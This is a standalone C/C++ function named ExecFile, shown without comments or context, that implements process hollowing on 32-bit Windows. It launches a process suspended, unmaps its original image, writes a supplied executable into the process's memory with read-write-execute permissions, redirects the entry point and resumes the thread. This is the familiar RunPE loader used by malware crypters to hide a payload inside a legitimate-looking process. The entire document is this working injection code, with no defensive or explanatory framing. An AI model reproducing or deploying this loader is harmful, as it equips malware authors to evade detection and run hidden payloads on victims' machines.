void ExecFile(LPSTR szFilePath, LPVOID pFile)
{
    PIMAGE_DOS_HEADER IDH;
    PIMAGE_NT_HEADERS INH;
    PIMAGE_SECTION_HEADER ISH;
    PROCESS_INFORMATION PI;
    STARTUPINFOA SI;
    PCONTEXT CTX;
    PDWORD dwImageBase;
    NtUnmapViewOfSection xNtUnmapViewOfSection;
    LPVOID pImageBase;
    int Count;

    IDH = PIMAGE_DOS_HEADER(pFile);
    if (IDH->e_magic == IMAGE_DOS_SIGNATURE)
    {
        INH = PIMAGE_NT_HEADERS(DWORD(pFile) + IDH->e_lfanew);
        if (INH->Signature == IMAGE_NT_SIGNATURE)
        {
            RtlZeroMemory(&SI, sizeof(SI));
            RtlZeroMemory(&PI, sizeof(PI));

            if (CreateProcessA(szFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI))
            {
                CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
                CTX->ContextFlags = CONTEXT_FULL;
                if (GetThreadContext(PI.hThread, LPCONTEXT(CTX)))
                {
                    ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&dwImageBase), 4, NULL);

                    if (DWORD(dwImageBase) == INH->OptionalHeader.ImageBase)
                    {
                        xNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"));
                        xNtUnmapViewOfSection(PI.hProcess, PVOID(dwImageBase));
                    }

                    pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(INH->OptionalHeader.ImageBase), INH->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
                    if (pImageBase)
                    {
                        WriteProcessMemory(PI.hProcess, pImageBase, pFile, INH->OptionalHeader.SizeOfHeaders, NULL);
                        for (Count = 0; Count < INH->FileHeader.NumberOfSections; Count++)
                        {
                            ISH = PIMAGE_SECTION_HEADER(DWORD(pFile) + IDH->e_lfanew + 248 + (Count * 40));
                            WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + ISH->VirtualAddress), LPVOID(DWORD(pFile) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL);
                        }
                        WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&INH->OptionalHeader.ImageBase), 4, NULL);
                        CTX->Eax = DWORD(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint;
                        SetThreadContext(PI.hThread, LPCONTEXT(CTX));
                        ResumeThread(PI.hThread);
                    }
                }
            }
        }
    }
    VirtualFree(pFile, 0, MEM_RELEASE);
}